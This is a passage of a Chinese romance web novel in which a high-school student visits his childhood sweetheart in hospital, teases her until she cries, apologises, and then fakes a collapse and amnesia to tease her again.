他竟然被自己学生的眼神给控了,五十岁的魏宇嘴皮不可思议地一抖,刚要抬手骂这臭小子,大家以为他想原地解散,于是统统作鸟兽状趁机立马散开:“哇哦!老班下周见哦,噢不,今晚大家一定会准时提交卷子哦~~”
路泊汀抽走最后一份讲义,卷起在手心里拍了拍,对着朝他吹胡子瞪眼的老头眨了下眼睛,“放心吧,不会给您老掉链子。”
“你最好说到做到!”
“要是谈对象了趁早这几天说清楚,你是要冲榜前的,听到没混小子!”
朝后扬了扬手,路泊汀走出教室,身后的门吱呀一声紧跟着关上,他摸出手机打算先发条消息。
“最近是家里有急事吗,怎么每晚都这么急?”
赵月清笑着往他肩膀下意识一拍,还想说什么时,面前的人敲字的动作一顿,视线突然从手机屏幕移过来,垂下,冷淡地瞥向自己肩膀,不知是不是她的错觉,他没什么表情的甩了下那侧胳膊,棱角分明又疏离的侧脸贴上手机,直接打电话给温声,话茬却是朝她:“你有事儿?”
唔……
赵月清鼓起嘴角无辜笑了一下:“你衣服应该是蹭到板书了,刚给你拍掉了,下周一晚上,我们几个想组织一个电实验的小会,到时候你要来吗?”
电话嘟嘟嘟,没接,路泊汀干脆关了机往楼下走,顺道回她,修长的背影很快消失在拐角:“没空,最近要照顾小朋友。”
小朋友。
等了一会,赵月清走前两步,从走廊的半截窗户向下看,树影交叉在窗沿下,她从那片被路灯映的碎光点点的空隙中看到他刚好跑出楼道,在几近空旷的校园里,那抹亮眼的人影越拉越远,直到变为远处的一个小黑点。
她慢慢撤回目光,窗外飘进的桂花香已经很淡了,凉风一晃,这一年,正在单箭头走向结尾。
庵加河开着车窗在散烟味,副驾的门咔完又嘭的一声,他关上窗开始发动车,瞟了眼他手里的那份讲义叹了声嘘气:“你学这么猛我真有点慌,我现在赶还来得及么?别到时候你两都考上了,就留老子一个人。”说完蹭了下下巴,想到什么似的又笑了声,“要不你到时候跟我一起出去读得了,我需要你。”
时间被老头儿耗到了九点三十,路泊汀回身从后座的包里翻笔,用牙咬开笔盖,讲义掀开一页,开始在晕黄的车灯下做题。
听完他的话,嘴里的笔盖膈应人一样往他身上吐,狗话接着也吐了出来:“别说废话,我什么情况你什么情况?我要出去读我离她更远,到时候还怎么谈?而且……”他手下笔速很快很稳地算着题,也不管是不是要上传给老师,直接在两边空白处当草稿。
“我要是出去,中途她发生点什么事,你们又都不在,到时候我找谁帮忙?”
也是。
庵加河静了静专心开车,中途有点受不了旁边的人当书呆子,于是开始放很吵很热闹很烧气的歌故意骚扰他,但路泊汀这人控得清主次,该玩玩该学学,平时作业也写,还写的相当认真,上课那四十五分钟,别人都是边听边记笔记,他搁那儿一坐,这节课就稳了,老师讲的点他下一秒就能展开面。
最厉害的是,这人还是个控分高手。
天生的榜前人。
就像现在。
沙哑又富有性感魅惑的女中音高声震荡在车厢内,庵加河听的耳朵都酸了,旁边的人没任何影响地已经写到了最后。
啧。
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“阿声伤的重吗,我一会儿上去看看?”
“用不着,忙你的。”
庵加河低眼瞅着前面的红海,等绿灯中往旁边又看了一眼,题面密密麻麻一片。
时间到九点五十,路泊汀间隙看了眼车外,不远处有一家连锁的便利店,前面红灯还有17秒,笔尖停了2秒,他心算了两个数字,往纸上一印,又快速抽手机开了备忘录拍照。
红灯还有8秒。
他拍完照打开社交软件,检查都不带检查一下,上翻着魏宇那个“看淡人生”的青青绿草头像,pdf文件唰的发了过去。
“绕过这个路口停一下,我去趟便利店买点东西。”
庵加河停在路边等他,那份讲义就落在座位上,上面还有他的外套,侧身取过讲义,不厚,三四张,庵加河看着一长串题干就头疼,想放下时,又多瞄了两眼。
竞赛题是这样的话,那平常的高考题,是不是能简单点?
等了几分钟,路泊汀开门坐了进来,手里有一个透明袋子,里面塞着黑色包装袋还有两件牛皮纸包裹的看不清是什么的东西。
到医院住院部时刚好十点,路泊汀走前又弹了下车窗,庵加河咬烟的动作被迫一停,他摁下窗户。
“少抽点儿,说不定是我需要你。”
夜晚的住院部正门来往的人不算多,十几层的楼上几乎每扇窗户都敞着亮灯,压着烟在嘴里转了个圈儿,庵加河笑骂了声,甩了下有点发麻的泛凉的手,开火往目的地开。
谁需要谁,不都一样么。
电梯上到12层,路泊汀绕过两道人多的走廊来到1205的单人病房,姚书文最近负责的拍摄项目正在收尾,需要这段时间往京市赶,昨晚来医院看过女儿后就连夜坐着红眼飞机走了。
站在门外,路泊汀低下身往那扇小小的方形玻璃里看,病床被墙遮住一半,床尾的被子动了动。
他照旧没敲门,扣住门把手开了门,入眼就看到刚才在动的被子咻的一声。
忽然静了下来。
挑眉,反手轻合上门,路泊汀倚着门,一手提包一手拎着便利袋,窗户是开着的,病房的消毒水气味这回倒是淡了许多,蓝白色的墙壁被灯泡晕开温馨的黄,房间很空,一张病床,两个矮床头柜,窗台放了一株刚喷过水的绿萝,靠墙的单人沙发堆着她的衣服和书包。
包是开着的,书也被翻开几页。
会无聊吗?
等了会儿,被子里的脚非常克制地动了动,路泊汀勾起唇,心里开始倒计时。
五
四
三
二——
“你怎么今天来这么晚啊……我都快要睡着了……而且我还没吃饭……”
“别躲了呀,我看到你了……”
“路泊汀……”
“……路泊汀?”
“怕什么啊,我又不骂你……”
脑袋蒙在被子里发出很小的叽咕声,有点抱怨,更多的是委屈。
15. 很爱很爱你
‘啪’
上空冒出一声很清脆的轻响。
是头顶的灯泡钨丝断了。
室内忽然陷进黑幕,静悄悄的,只有纱帘被风吹动起丝丝影子,黑漆漆的病房里从床头飘过来一道茫然的诶声:“……是灯闪了吗?”
温声愣起神,不知是先该坐起身还是脑袋先朝门的方向,索性伸出手来用力抖了抖被子,以示她看不见。
突然的断电路泊汀也是一怔,想到她有夜盲症,原本斜撑着旁边墙的半边身慢慢直起,琢磨了一通打算逗她这想法也挺幼稚,扶着脖子又是哑然一笑,他认栽一样从墙角探出头,嗓音故意压低变成怪诞可怕的腔调:“I''m ——watching you!”
幼稚死了。
温声很给面子地抽搐了下身体,又好整以暇地枕着胳膊看他,翘起的唇线露出糯糯的小白齿,眼睛眨眨,睫毛呼呼,“今晚你迟到了半小时噢,不过本小姐心情好不和你计较。”细细的手指唤小狗一样竖起勾了勾,“我想吃的东西总该带了吧?”
住院这几天,她顿顿吃的都是一些没滋没味的清汤病号餐,刘嫂前脚刚走,她就觉得肚子又空了,好像几分钟前喝的粥从胃里凭空消失了一样。
吃算吃饱了。
但没吃好啊。
所以从中午开始就给他发消息,晚上一定一定要去一趟茴记给她打包一份热乎乎的鱼籽馄饨。
但路泊汀这会儿像个游手好闲的混子,拖着长腿走过来,将背包精准利落地当她面投进对面小沙发里,空空两手,没任何歉意地一摊。
意思很明显。
没去,没带。
温声嘴边的笑意扁了下去,胃里好像更空了,声音虽炸毛但满满登登都是委屈:“我等你这么久,从中午等到晚上,这么久这么久,你答应了我的……”
路泊汀一手还摊着,掏出手机开闪光灯,对着墙上后勤管理的号码拨了出去,歪过头接电话时才眯起眼瞅她,唇角欠欠一扯:“今晚有点忙没顾上去,下次行吗,下次一定。”
手机屏幕映着他的半边脸,睫毛被光线拉得很长,黑亮的眼睛透出一层殷沉又戏谑的微光。
说的挺一本正经,看上去也确实有那么个人样。
但……
温声收回盯着他的目光,然后歇菜一样软趴趴地仰在床上,眼皮合上,嘴巴严严实实鼓起。
不说话了。
再也不想说话了。
再也不想和面前的浑蛋多扯一句。
骗子!
路泊汀好笑地拢起眉,电话这时通了,他伸手握住她蹬在被子外的脚腕,很凉,鞋尖勾过椅子坐在床尾,就那么一手包着她的脚腕开始接电话。
“两个灯泡都闪了…在1205……需要怎么处理?”他偏头看温声,对上她的眼睛,他又移开,应电话那边:“行,大概多久?”
简单和医院后勤部的负责人沟通后,手机开着闪光灯扣回床头柜,他折回门口打开电闸的塑料盖,啪嗒一声,关了客厅的电源。
温声竖起耳朵,黑暗里一切声响都很清晰,他走回沙发打开包,又绕过她进了卫生间,哗啦哗啦,有洗手和接水的声音。
明晃晃地被无视了。
倒也不觉得委屈,不就是少吃一顿饭吗,不就是一家茴记的馄饨吗,不就是答应好她却没做到吗?
不就是她温声对他来说并不重要吗。
不委屈啊。
完全……
不委屈……
路泊汀搁卫生间里都能听到她轻悄悄吸拉鼻子的声音,眉眼晃过笑意,手拨了下水温,又抽了旁边架子上的一次性消毒毛巾,关水,端水盆走了出去。
旁边几栋楼的白炽光线这会儿全都照了进来,水光随着水盆的移动,天花板出现湛湛渌影,七扭八歪,像水母一样,温声睁开一只眼看来看去,心情好了一些。
脚腕一凉,他的手突然探进被子,温声有点怕痒,想抬腿蹬开他,奈何力气使不上,外加肩侧的伤口不能在床上推碾,她别过头扁起嘴巴,口吻低了八度:“你别碰我,也别和我说话,不是有事急着走吗,现在就可以走了,我又不是不能照顾自己,你别……”
眼前一暗。
咕噜。
温声嘴里的话被迫咽了回去。
路泊汀低下身垂着气音吹她额前的碎毛,吹得很轻,两人的脸颊凑得极近,她甚至都能闻到他身上的气味,清淡的木质海盐味混着很微妙的烟呛味。
意外的好闻。
可能是距离太近,她的呼吸有点不上不下,想转头,但他的手肘就支在她脸侧……
她只好缩起脖子,找话题问:“……你今晚抽烟了?”
路泊汀移到她嘴唇的位置,她察觉到了,粉润的唇肉紧张地抿起,他这才开口回答她上一个问题:“嗯,抽了一盒。”
然后就见她嫌弃地皱起眼,整张小脸也皱巴巴,局促和紧张那一刻灰飞烟灭,小嘴开始嘚啵嘚啵:“抽了一盒,你是烟鬼吗?妈妈说过不准你抽烟……”看他凑得更近了,她被口水一呛,碎话赶紧放出,“停…你……你别凑这么近啊…很热啊!我看不清了……你离我……”
远点。
又是咕噜一声。
他压了下来,顷刻间,她像被温暖的巨物牢牢包住一样,绵密的窒意从头皮扩开。
这下真的有点呼吸不上来了。
路泊汀从她的下巴一点一点往上亲,触感微凉,鼻息却溽热,大手搭着枕头有一搭没一搭地挠着她颊边的长发,见她失神地望着他,硬挺的鼻梁触了触她的唇珠,上扬的眼梢抬起看她,让她专心点。
晚上有点凉,医院深蓝色的窗帘被风搅起碎青色的光雾,温声就这样毫无预备地撞上了他的视线,他的眼睛。
黑亮的像镀了一层金箔的陨石。
小小的心脏霎时被温热的酸水泡的发软。
路泊汀亲到她的唇角,嘬了一下,轻笑出声,听的她耳朵麻麻的,他又挠了把她的耳朵,“逗你的,没抽,现在能起了?”
温声的脸又红又烫,连忙推开他,“起就起,谁说我不能起了!”
看到盆里的热水,她在床上摇来摇去当不倒翁,问他:“你要给我泡脚吗?”
她的脚一直很凉,一直喝药也没调理过来。
路泊汀抽过手机看配送的时间,扔回桌上,坐到旁边的小矮凳上,又给她卷睡裤的裤腿,温声两手撑到身后,任由他捯饬自己的裤腿,直到热水漫过小腿,她舒服地叹了一声长长的气,声音懒懒的
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:“看在你给我泡脚的份上,我今晚就原谅你了,没有下次知道吗?既然答应过我的事就要做到啊,爸爸不是这么教你的吗。”
路泊汀干脆蹲下身,手心握住她的脚腕,另一手根据刘嫂教过的穴位给她按,偶尔挑她的话回一两句:“我是错了,但你有没有觉得你很笨?”
温声依旧扬着脑袋,只是眼睛垂下斜斜看他:“知道有个词叫大智若愚吗,我只是懒得和你计较。”
“那我还得谢谢你咯。”
“不然呢。”
温声学他很是理所当然地嗯哼了一声。
路泊汀只是低下头笑,一般这种时候只要顺着她的话说就行,热水渐渐转温,他用干净的毛巾裹上她的腿,电话正好响起,温声滚过半身拿过他的手机接通:“喂?”
“您好,您点的沁兰斋的小笼已经送到医院门口了,门卫不让进去,您方便下来取一趟吗?”
温声啊了一声,反应过来忙看向他,眼神示意——不是不给我带吗?
说完才想起医生说的,她现在不能吃海鲜馄饨……
路泊汀一边给她擦脚,一边给她顺话:“说我五分钟后下去。”
“唔,他五分钟后下去。”
他挠她的脚心,被她踢了一脚,接着顺话:“如果他赶时间就放门卫那儿,不着急。”
“他说您赶时间就放门卫叔叔那里,谢谢你噢。”
“会给他好评的。”
“您放心,我们会给您好评的。”
骑手一时插不上话,盯着手机屏幕看了两秒,又抓了把脸:“……好的吧。”
路泊汀看她一字一句往外学着蹦,噗地笑出声,觉得很可爱,又去亲她,温声抽开腿滚进被子里,隔着被子别别扭扭地喊他:“路泊汀……”
“我今晚又开心了……”
真挺笨的。
他外套拉链一拉就出了门,沙发上还有他的背包,温声爬起来走了过去。
他的包里塞了两本很厚的竞赛书,温声随意翻了翻,本以为是狗刨式的笔记,入眼却是红黑笔有序交错的做题痕迹。
她咂舌,这就是学霸的笔记吗?
他两从小就趴在路康书房里练字,她练行楷,他偏向草书,书里每一处字迹都带着凌厉的锋芒,很符合他盛气不羁的性格。
只是……
明年这个时候,他应该已经在京市了吧?
心情从云端渐渐落入湿泥,沉沉的,温声又看了一眼那两本书,小心翼翼地护着书角装进包里,隔壁也是单人病房,大晚上的突然放起了歌,她抱着腿跟着听了会儿。
路泊汀拿着外卖回来时,灯已经被师傅修好了,温声蜷起腿,两只胳膊搭向扶手,曲下细细的背,白生生的小脸紧贴着手背,就那么安静地窝进沙发里,窗户关了一扇,窗帘半拉上,从远处看,她的几缕长发发尾缠上了那株绿萝。
像一只甩着尾巴娇憨迷人的小猫。
路泊汀站在门口,脚步没迈动。
温声忽然回头,盯着他缓缓冒出一句:“很爱很爱你。”
心口像被猫爪抓过,都不用多用力,他的心就皱成了一堆。
眼眶也无意识一热。
她却弯起唇俏皮地笑了开:“是歌名啦!”
16. 欺凌
细薄眼皮微微半阖,不着痕迹地敛下情绪,路泊汀慢条斯理地走过去,外卖盒放到旁边矮桌上,病房里还吹着几度的凉气,睨了一眼她褪到大腿的睡裤,他眼梢一挑,“起身把裤子穿好。”
说完用膝盖拱她的小腿,让她快点。
就不!
温声将宽松的睡裤又用力往上一卷,大腿内侧的软肉全部露了出来,然后翘起两只小脚在他眼前摇啊摇,声音可怜兮兮:“我现在好饿啊,浑身都没什么力气,手也抬不起,腿更抬不起,真的没力气穿裤子……”
她撑着下巴眨眨大眼睛无辜地望着他,娇俏俏地抬脚往他身上蹭,“我累累的,饿饿的,还冷冷的,需要有人帮我穿好裤子……”
边说,蜷起脚尖勾住他的大腿,轻轻磨蹭。
就是不穿。
路泊汀弯下身,高大的身影罩在她面前,那股微妙的烟呛味扑面而来,他线条好看的脸颊有几分戏谑,声音跟着低了下来:“累累的?”泛着凉意的大手掌上她的腿,她勾腿的动作一滞,他上移,包住她腿侧的软肉,捏了捏,笑声玩味,“饿饿的?”
眼睛一痒,温声下意识闭上眼,他在朝她的脸吹气,接着问:“冷冷的?”
脑袋一昂,温声闭起眼气势到位地回他:“当然——”
还没说完,扣着腿的手倏尔收紧,使劲,反向一拧。
嘶嘶嘶!
疼疼疼!!
一张得意的笑脸登时皱到了一起。
温声疼的脑袋都晃出了虚影,两手用力拍他的胳膊,声音拔得老高,又尖又细:“路泊汀你掐我你还是不是人!疼啊疼!肉要掉了!!我疼!!放手呜呜呜呜放……你放手!”
骂完还扯着嗓子朝空中高高喊了一句:“妈妈啾啾我!!!”
不是鬼哭就是狼嚎,不算宽敞的病房在震天动地的哭喊中脆弱的像下一秒就能碎掉。
路泊汀啧了声,耷着一副被吵到的嚣张样,看呆子一样就那么生生瞅着她,松手,又不紧不慢地伸腿压住她,温声还在哭喊,他的手已经捏上她的脸,扯起,上下左右一摇一晃,揪了个圈儿,笑声浪荡轻浮:“这就哭了,把声儿给我收回去。 ”
结果温声嘴里的哭腔更大了,还跟着他的动作上下变调:“呜……呃……呜呜你……侬……贱…酱人……”
听起来属实有点惨,隔壁还在循环播放的音乐声非常突然的断开,那人关了音响。
这下真成了家暴现场。
“给你个机会,好好答我就放过你。”
长腿夹住她,一推,温声软溜溜地被他压进沙发里,下一秒嘴巴就被严严实实地扣住。
“呜……放开……”
路泊汀直勾勾盯住她,直颈垂眸,眼神钓着,一副狂的不行的坏狗样,长指挠了把她的下巴,俊脸凑近,再凑近,直到温声视线内只能装下他,他学她刚才虚头晃脑的皮实样子,眯起眼吹了声懒散的哑哨,模样要多混有多混,勾起唇引导着问:“说说我是你的谁?”
给她机会,手错开,温声呼吸。
几乎是下一秒。
“暴揍靶子!”
温声气急败坏的呛他,只要他等会起身,她势必要抡起旁边的抱枕抽死他!
答的什么玩意儿。
路泊汀乐不可支的笑倒在她身上,哐地一声,温声就像无助扑腾的鱼崽重新陷进沙发,他故意用碎发来回刺挠她,搞得整张脸又疼又痒。
温声快要烦死,咧着小嘴开骂,不是叫他滚远就是骂他是只知道欺负女生的死垃圾男,骂他总有一天会被她摁倒在地上狠狠摩擦教他重新做人……
骂着骂着,还骂上瘾了,路泊汀听的老大不高兴,掐起她的粉嫩脸蛋,眼底满满奚落 :“听好了,我就算是垃圾那也是你老公,是这辈子扯住你不放的最爱你的老公,是命运之手把你拽到我面前的老公,这称呼还需要我时刻提醒你么?”
手下用力一揪。
哎哟哎哟喂!疼死了!!
“什么年头了还喊老公你土不土!更何况你配吗?!”温声被他压在身下,夹捏带掐,整个人面红耳赤地垂死挣扎,脑袋一蹦,噗噜一声往他脸上噗口水,他嫌弃地啧了声向后闪开,没噗准,她气的又去掐他脖子,哽着哭声儿大喊:“你总是欺负我!这么多年我受够了!!命运是瞎了眼让我遇到你!”吸了记鼻涕,咬牙切齿接着撂狠话,“我最后一次警告你别来惹我,不然我真的会弄你!”
两手掐住他的脖子来回晃,不摇死他绝不罢休。
“咳……”
路泊汀被掐的耳根和脸颊通红,从他进门到现在不出十分钟,两人看上去都乱着头发散着衣服,半斤八两好不狼狈,只是她这话一出,他就黑眸一亮,是真来了兴致,绷着被她掐扯的颈凑近,涎起笑脸怪期待地哇噢一声:“真的吗?那宝宝打算怎么……”咬字很重,“弄、我?”
温声被他捏着鼻子呼吸不上来,只能张嘴巴哼哧换气,他就是不想让她好过,两指捏住她的下巴像逗腊肠狗一样上下颠晃,温声的牙齿跟着发出咬合的磕声,咔嚓咔嚓,和寒冬底下牙齿打起寒颤一样。
还没完。
路泊汀笑得更流里流气了,接着招惹:“我乖乖的,只要你需要,随时吭个声儿我一定配合好,床上床下任何姿势都成……”温温柔笑开,朝她促狭地眨眨眼,“老公好期待哦。”
说完就扯着捏着掐着她的脸,反反复复乐此不疲,今晚算是和她正儿八经耗上了。
啊啊啊啊!
爆发猝不及防。
温声被折磨够了,一时间像被踩着尾巴炸毛的软猫,边抽泣边奋力挣扎,被他掐住的脸蛋硬是扯了开,路泊汀挑眉,还没开口,她就撑着头往他肩膀快速撞了上去,在他痛嘶后,又以迅雷不及掩耳之势,抓过他的手臂、摁进怀里、撸起袖子,抓狂的整个过程不过五秒。
骨感修长的前臂刚露出,她嘴巴一张,往下一磕,尖尖的小虎牙咔地就咬进了肉里。
刺痛密麻尖细,他疼的额角直跳,颤着的手腕瞬间暴起青筋。
是真发了狠的下嘴。
路泊汀忍疼往她的脑门连连弹了几下脆蹦儿,温声眼前模糊,额头被弹得红了起来,但还是不松口,他只好又换着去捏她鼻子,眯着眼怪腔怪调地哟了声,唇红齿白轻佻得很:“厉害了啊温姐,胆儿还真让我养肥了。”
手臂的痛感加剧,他槽着后牙,从嘴里一字一字地蹦出几声哼笑:“我数三声儿松开,给老公道个歉你和我还有得商量。”
滚!
温声喘不上来,气咻咻地用气音吼他:“我!受!够!你!了!!动不动就欺负我,该道歉的人明明是你,你看清楚我的脸都被你抓花了你不心疼啊??”
咬着他的肉还呸了声,刘海被气吹起,她很委屈地呜咽道:“次次都这样,我怎么就这么倒霉啊……”
她的头发被他弹得全炸了起来,被捏着鼻子还要嘶嘶嘶地往后躲他的手,但嘴里叼住他的肉就是死也不放,牙尖磕紧,又是咬又是吮的,口齿不清,只知道还是在骂他。
脸红着,眼泪乱七八糟的粘着头发丝。
小可怜。
又欺负狠了。
盯着她看了半天,路泊汀终于找回那么一点人样,叹气,松手,指尖轻轻勾过她细细的
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手指。
不作声地先安抚她的情绪。
结果就是被她狠狠拍开。
让他滚。
温声松开嘴巴,白皙的手臂被咬出一排深红清晰的锯齿印,她埋着头还在哭,这次是真的做了决定——
分!
结束了,没意思,懒得扯了,不愿和他有任何关系。
他又叫她。
“宝宝……”
“…宝宝看看我……”
路泊汀也没管手臂疼不疼,小声喊她,没回应,他留意到她很少见的极度冷淡的表情,心一跳,低头开始道歉,声音有点闷:“对不起不该这么欺负你,别哭了好不好……我…我只是控制不住想逗你想和你亲近,想……”
唇角抿起,欲言又止。
他垂眼,从下握住她的手不放,她怎么抽都抽不出,一大一小,刚好覆满他的手心,他将自己完全暴露在她眼底:“……我想一直粘着你,想让你在每一次见面后能记牢我,想让你能更喜欢我一点点,更想让你知道……我是完全属于你的,我只有你……”
他不说这些话还好,一说温声就哭的更凶了,打着哭嗝,吸着鼻子抽抽搭搭的,泪眼朦胧里看到他靠自己近了一些,她往后躲开他的手,抵触地大叫:“你少碰我!”
路泊汀静静注视着她,眼底涌出的情绪很深很密,也很沉默,手指动了动,还是没忍住蹭开她脸上的头发,又用指腹一下一下很轻地抹眼泪。
“你别不理我……”
感情里很可怜的那个人,是他。
埋着头一直没吭声的人,倏尔大力推开他。
温声背过身跑到矮桌前,自己胡乱抹了把眼泪,用冰冷冷的口气怼他:“这么多次了,道歉还有用吗,下次还不是一样会欺负我。”
“看我挣扎看我哭得这么伤心你很开心是吗?”
“那你觉得,这算喜欢?你真的有尊重我吗,你有问过我会喜欢吗?”
“为什么每一次,你都不顾我的想法总要做出让彼此很烦的事?”
病房内很安静,只有纱帘被凉风吹得哗哗响。
身后的人没说话。
……
手里还有他指腹的温热,温声静身站着,呼吸很轻。
语气是不是太重了?
她在原地踢着碎步,琢磨起刚才的话,越想越觉得自己实在没必要和他闹,又不是什么特别过分的事,只是打打闹闹而已,反正从小他就爱惹哭她,这么多年,她早就习惯了。
每一次不还是他哄过就好?
他能每晚来医院陪她,她就已经很开心了……
不自在地咬紧唇内的软肉,温声两手拢着长发故作不在乎,等啊等,他还是没说话。
快给我个台阶啊……
你给了我就下啊……
又等了半分钟。
实在懒得等了。
温声深吸了一口气,擦净眼泪,踩着脚尖向后旋了个圈,抱着胳膊一副跋扈娇纵的模样,凶巴巴地开口:“看在你今晚作业很多还陪……”
嗓子口有股刺骨的寒意,堵得她忽然发不出任何声音。
那个举手投足痞气又倨傲的少年,这会一动不动地斜撑着沙发扶手,没什么血色的脸偏到一侧,碎发遮住紧蹙的眉眼,红润的菱唇绷出一条苍白的唇线,尖细的下颚因为不适微微收紧。
刚才握紧她的那只细长的大手,正虚疲地抵着身前,另一手无力地垂在腿边。
手臂露出的牙印,骇人的血红色,几乎烙伤了她的眼。
温声飞跑过去,腿都软了,两手用力拍他的脸:“……喂路泊汀!说话!”
17. 失措
捧着他的脸啪啪啪拍了几巴掌过去,手劲大到他的侧脸立马肿了起来,还多了几道明显的红印,平时这力道扇他,他绝对会挂脸,可现在他连眉头都没动一下,完全没反应……
温声呆坐在他旁边,直愣愣看着他被她扇得斜了过去,眼疾手快抓住,一拉,他又没任何力气地倒回她身上。
变了,真的变了……
温声这下彻底慌了,口水都咽不下去了。
“喂…你动一下说句话好不好……别吓我了…”泪花大片滚下,脸上潮乎乎,温声胡乱擦了一把脸,又用那只沾满眼泪鼻涕的袖子蹭他的脸,扑通一声,两膝跪在他旁边摇他的手,嘴巴扁起,惊慌无助地喊他:“你到底怎么了说话啊,我真的很害怕……你摸我手都在抖,喂……”
喂?
路泊汀眉棱及不可察地微挑,嘴角顽劣一哂,合着眼淡至无味地哼了声,长腿漫不经心敞开,以一种极其懒散甚至故作无辜的姿态,不露声色地撞上她的腿。
温声哭得很凶没注意到,两手还紧紧握住他:“我是不是弄疼你胸口了……”
他被摇的脑袋很自然向下一掉,视线几乎和锁骨平行,蓬茸黑亮的碎发被头顶的灯映出一圈浅金色的光晕,纤直浓密的睫毛压在眼底,在脸颊映上了一层暗色的阴影。
另一只手像被抽筋扒皮似的软啪啪瘫在她腿边,左右半边俊脸,一红一白,他还真要感谢今晚病房换新后瓦数够大的灯泡,光线惨白跟露营灯有的一拼,从上投下来,照得他一张脸红得更红,白的更白。
谁看到不说一句死人相。
刚才难受是真的难受,现在好不容易缓过来了。
也是真的想继续装下去。
温声扶他的肩想撑起他,但他这么大个头她真的搬不动,只好撅起屁股塌低腰,两手撑着他的腿,同样埋下脸,面朝上,轻手轻脚去看他的表情。
不知道是不是低头背光的原因,他的脸色没那么虚弱苍白了,眉目闭紧,鼻梁格外冷漠地怼向她,嘴唇渐渐恢复了血色,而且不知是不是她的错觉,面前纹丝不动的人,刚才抿起紧绷的唇角,这会忽然若有若无地闲闲勾起。
……
好像有哪里不对啊……
温声愣神两秒,揉了揉哭得酸疼的眼睛,挨近,软热的呼吸小心翼翼飘到他面前,红红的眼睛继续看着他,目光下滑,死死盯牢他的嘴巴。
气氛死静,周围飘了一圈她身上洗过澡后淡淡的甜潮味,外卖纸盒扣紧的封口突然弹开,沙发的软垫一点一点慢速度凹陷下去,窗外楼下停车的滴滴声,病房走廊行人衣物擦过墙边,卫生间下水道的抽水声,灯丝受风声影响细闪了两下。
还有,他越藏越重的心跳和呼吸。
诶!!
嘴唇又绷紧了?
温声怔怔望着他,小细手哆哆嗦嗦地指着他,指尖都快戳他脸上,磕着声结巴道:“你…你……你!”
口吃的你了半天。
路泊汀心里失笑,今晚算是贱够了,再逗下去别真被甩了。
刚要调整坐姿准备开口认错,面前柔柔的气息忽然一撤。
温声火急火燎地从他身边跳开,光着脚丫噔噔噔跑去床头取手机,啪的一声顺便按了墙上的呼叫铃。
不管怎么样,找来医生检查一下总归放心,毕竟刚才他的情况看上去,是真的不算好。
如果他骗了她……
那她也认了。
但不知道值班的护士是不是在夜间巡房,呼叫机一直未通。
温声攥着手机迅速开机,折回他身边,打算给姚女士先去个电话,她想知道家族里有没有亲戚有心脏病史。
等电话中,旁边的人忽然虚疲地倒了过来,手机没拿稳被撞开,一下子掉到他腿上,还不等她伸手,他就毫不经意地抬腿,手机噗的被压了了腿下,还压得严严实实,通话界面也被迫断开。
温声迅速抵住他,又怕肩膀硌得他不舒服,只好小心变换胳膊的角度,另一手努力够手机,“你等一下,再等等,医生应该快到了,我找妈妈有急事你别压我手机……哎呀你起开……”
语气不客气,但推他的动作很轻很轻。
路泊汀蹙眉气息奄奄地轻喘,哑着声低语道:“我有点不舒服,很难受。”
说完用毛茸茸的脑袋在她颈边磨来磨去。
温声胸口堵堵的,嘴巴又酸心地扁了起来。
好好的干嘛要和他吵,干嘛要推他啊……
“你能站起来吗,我们现在去找医生,这才十点多,科室应该还有值班的医护,除了胸口不舒服还有哪里很难受呀?你都告诉我,我来和他们谈……”
他们无论从身高还是体量都不在一个层面,温声有种错觉,她一六七的个子被他压扁了至少十公分,半边肩都快要散架了,她咬牙没吭一声,以往他敢这么压她,她绝对让他有好果子吃。
沉住气,她动作生硬地抱住他的腰线往起站,他的卫衣宽松又厚实,整个人还卧在她身上,像被一座山压住一样,温声哼哧哼哧抱了很久,也抱的很吃力,她很少主动抱他,以往都是他招呼不打一声强势地直接搂上她,怎么换她抱就这么难呢……
两人离得太近,热度隔着衣服传过来,温声的脸忽然热了起来,额头冒起薄汗,她又使劲往起提他,没提动,只好叫他,声音瓮声瓮气:“你能不能动一下啊,稍微动动也行的……我我…你太重了我抱不动你……”
然而……
路泊汀这个活死人没任何反应,眼皮拉下,四肢舒展开,压根不在乎她能不能抱起他。
抱不动啊?
那不更好。
他似笑非笑地嗅了嗅她的脖子,脑袋一昏厥,又重重摔倒她身上。
温声向后迅速退一大步,两条细腿特别狼狈地劈开,胳膊肘忙架住挂在身上的人,太阳穴突突突跳个没完,嘴巴动了动,忍了又忍,她才把嘴里的脏话往肚子里硬生生憋了回去。
他是故意的。
他一定是故意的。
这个烂人绝对是在故意整她!
撸起卫衣帽子往他头上一扣,拉链哗的向上一提,卡到嘴边,只露出他的上半张脸。
拉拉链的动作忽然一滞。
不知道什么时候,他已经睁开眼,用一种曾经在夜里对她娓娓讲睡前故事的眼神静静地看着她,黑眸清亮,眼底总有一层剔透沉淀的光。
温声不知怎么着,突然就想到家里后院有一片小小的竹林,四季凉爽,一到秋冬,竹水汩汩,白天感受不到,只有夜里才能听到它克制压抑的流声。
她以前一直觉得,他有一双极漂亮却不够柔和的眼睛。
是朗月清风,却处处无关风月。
可是今晚……
她很轻易就从他眼里看到了自己的倒影,很清晰,也很深邃,比捞尽水中月还要深要远。
两人插科打诨这么多次,打打闹闹这么多年,其实她很少和他这么安静的对视过,不说任何话,没有多余动作,不会感到任何不自在。
对视,只剩对视。
温声忽然呛了声口水,目光慌忙错开,低下头捂住嘴巴咳了半天。
就知道他是装的。
今晚脑子里卡壳次数太多,她有点恼羞成怒了,上手狠狠推了他一把:“这不是看上去好好的,你到底是不是在耍我?”
亏她刚才哭的这么伤心!
转身要跑时,他握住她的手腕,倏尔问道:“你是谁?”
口吻很陌生。
温声一怔,眯眼眈着他,举手反指自己,觉得不可思议,慢慢重复:“我是谁??”
下一秒她就更气了,脸气得发红,尖声道:“我是谁你能不知道?你现在还敢问我是谁?”抽出手,嗙的一声捶了他一拳,“你少跟我装失忆路泊汀,我不想跟你耗了,你今晚要是再耍我,我真就……”
不喜欢你了。
这话突然止住。<
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p>温声推开他要走,折腾了好半天,她有点累了。
路泊汀扯住她的胳膊,往回一拽,她撞回他身上,目光锁住她,又问:“说啊,你到底是谁?”
温声了解他,不说出一个让他满意的答案他会一直缠着她,叹气,两手无奈摊开,随便扯了个话茬:“还能是谁,我是你姑奶奶呗。”
“叫什么名字?”
她咬牙切齿地呵呵重笑了两声,忍住翻白眼的冲动,继续答:“温声。温嗯温,声嗯声,是这个世界上最有人情味最酷的姑娘,用得着给你再拼写一下吗!”
听到一串很厉害的自我介绍,他要笑不笑地抬眉,又微哂似的点头会意,接着摇头:“抱歉啊,不认识。”
